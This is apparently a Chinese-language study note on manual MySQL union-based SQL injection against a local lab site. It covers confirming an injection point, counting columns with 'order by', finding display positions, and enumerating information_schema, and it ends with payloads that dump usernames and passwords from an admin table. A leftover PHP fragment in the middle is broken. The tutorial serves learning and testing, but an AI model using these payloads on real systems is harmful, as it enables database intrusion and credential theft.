1、判断注入点
注意查询字符的闭合,在?id=1513的地方可能会存在引号 括号等一系列符号的闭合
127.0.0.1/asp/index.asp?id=1513 and 1=1 正常
127.0.0.1/asp/index.asp?id=1513 and 1=2 错误
2、查询字段个数
127.0.0.1/asp/index.asp?id=1513 order by 22 正常
127.0.0.1/asp/index.asp?id=1513 order by 23 错误
3、爆出显位
127.0.0.1/asp/index.asp?id=1513 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22 from admin
一个搜索框可以进行内容的搜索,内容的查询
我们先输入一个1' and 1=1#(1后面的单引号是为了闭合数据库中的单引号)
结果正常显示
我们输入一个1' and 1=2 #
结果没有正常回显我们可以判断此处可能存在SQL注入
SQL注入原理测试
';
echo $row['id'].'
';
echo $row['gName'].'
';
echo $row['gLogo'].'
';
}
?>
数据库配置文件
页面具有数据查询功能
当我们输入正确的值的时候,就会进行数据的查询
当我们进行SQL注入判断确定有SQL注入的注入点的时候,我们可以进行如下操作
我们根据order by可以判断数据库中的字段数
当我们order by 17的时候
页面回显正常
当我们order by 18的时候,页面回显出错
我们可以判断数据库中表有17列
为此我们可以使用union select 1,2,....,17来查看数据的回显位
union select 后面的数字必须和原表的表项相同
我们可以看到在1,2,3的位置进行了数据的回显,为此我们在1,2,3进行注入数据的回显
我门可以用这个来查询数据库中的一些信息如数据库名称,操作系统版本,数据库用户等
MySQL数据库中区分有数据库系统用户与数据库普通用户,二者的划分主要体现在对一些高级函数与资源表的访问权限上。root就拥有最高权限可以对多个网站进行管辖,普通用户仅拥有当前网站和配置的部分权限。所以当我们获取到普通用户权限时,我们只拥有单个数据库权限,甚至文件读写失败;取得高权限用户权限,不仅可以查看所有数据库,还可以对服务器文件进行读写操作
为此当我们利用前面判断数据库的权限为root时,我们就可以尝试进行高权限注入
数据库中有一个自带的数据库叫做information_schema,information_schema是一个存放了当前数据库管理系统中所有数据库信息的一个数据库,数据库只能进行读取,不支持修改(增,删,更新),root用户有这个数据库的所有操作权限,为此我们可以利用mysql的root用户进行高权限的注入
我们可以通过这个去查询同一个数据库下的其他数据库的名字
这个数据库中还有一个表是TABLES这个表中的数据是记录了数据库中所有表单的名字
这个数据库中还有一个表是Columns,记录了表单中的字段信息
我们查取到字段信息后就可以直接获取其他数据库下的数据
在我们进行判断有SQL注入之后,并且判断了对方的数据库权限是root权限过后我们可以进行root跨站注入
首先我们要查询数据中有什么数据库
-1' union select group_concat(schema_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata#
查询到数据库名字后我们可以选择我们想要查询的数据库,去查询里面的表名信息
例如我们可以查询一下syguestbook.sql下的表名信息
-1' union select group_concat(table_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where table_schema='syguestbook.sql'#
我们选择一个需要查询的表,例如我们查询sy_guestbook下的列名信息
-1' union select group_concat(column_name),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns where table_schema='syguestbook.sql' and table_name='sy_adminuser'#(where 后面的条件分别为数据库名信息和数据库下对应的表名信息)
最后一步直接获取表中的数据信息
-1' union select id,username,password,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser#
当然我们也可以使用group_concat()获取表中的所有信息
-1' union select group_concat(id),group_concat(username),group_concat(password),4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser#
以上就是MySQL注入的简单总结
如有错误,请及时指出,感谢